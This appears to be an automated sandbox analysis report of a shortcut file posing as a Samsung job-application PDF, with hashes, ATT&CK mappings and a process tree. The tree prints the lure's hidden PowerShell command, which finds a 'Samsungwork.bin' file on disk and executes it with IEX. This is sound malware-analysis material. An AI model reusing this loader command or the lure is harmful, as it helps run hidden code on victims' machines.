eb43edc52b7358dd993e2e6343ae4f59492e4b95651ed7877e17da1f5d214ba6

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
28-11-2024 11:59

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General

Target

Samsung_Job_Application_Document.pdf.lnk
Size

47.7MB
MD5

c2dbb808a94f755506367a63757d3007
SHA1

9dc8794486160c1b282f50b1e2aa234c77c17c84
SHA256

b55282e00322a4e28d888c1c252218251366f45639ba5212829e4b3d25dbc50e
SHA512

c59e52c3b7b74ab5b88d7a8b17a8c8aaaf3aaf9af07dd838d6b785442fef4811e1c01f4aa136e0eef631bce636b9fa652a12a968aa3114d03d911557658370e9
SSDEEP

24:8DiJ6Kx96xxuJB5J+/ZehoCiyng48HGbuOk6OYuOdZqddqVRVXuHYSJmrS:8DhKzhJPQ+oAg6SOHOxOdkd0tXuHdJ2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2448	2168	cmd.exe	31
PID 2168 wrote to memory of 2448	2168	cmd.exe	31
PID 2168 wrote to memory of 2448	2168	cmd.exe	31
PID 2448 wrote to memory of 2760	2448	cmd.exe	32
PID 2448 wrote to memory of 2760	2448	cmd.exe	32
PID 2448 wrote to memory of 2760	2448	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Samsung_Job_Application_Document.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c PowerShell -WindowStyle Hidden -Command "IEX (Get-Content (Get-ChildItem -Path C:\ -Filter 'Samsungwork.bin' -Recurse -Force -ErrorAction SilentlyContinue | Select-Object -First 1).FullName -Raw)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -WindowStyle Hidden -Command "IEX (Get-Content (Get-ChildItem -Path C:\ -Filter 'Samsungwork.bin' -Recurse -Force -ErrorAction SilentlyContinue | Select-Object -First 1).FullName -Raw)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2760-40-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

Filesize
4KB

Download
memory/2760-42-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2760-44-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-45-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-46-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-43-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-47-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-41-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2760-48-0x000007FEF5B8E000-0x000007FEF5B8F000-memory.dmp

Filesize
4KB

Download
memory/2760-49-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-50-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-51-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-52-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/2760-53-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download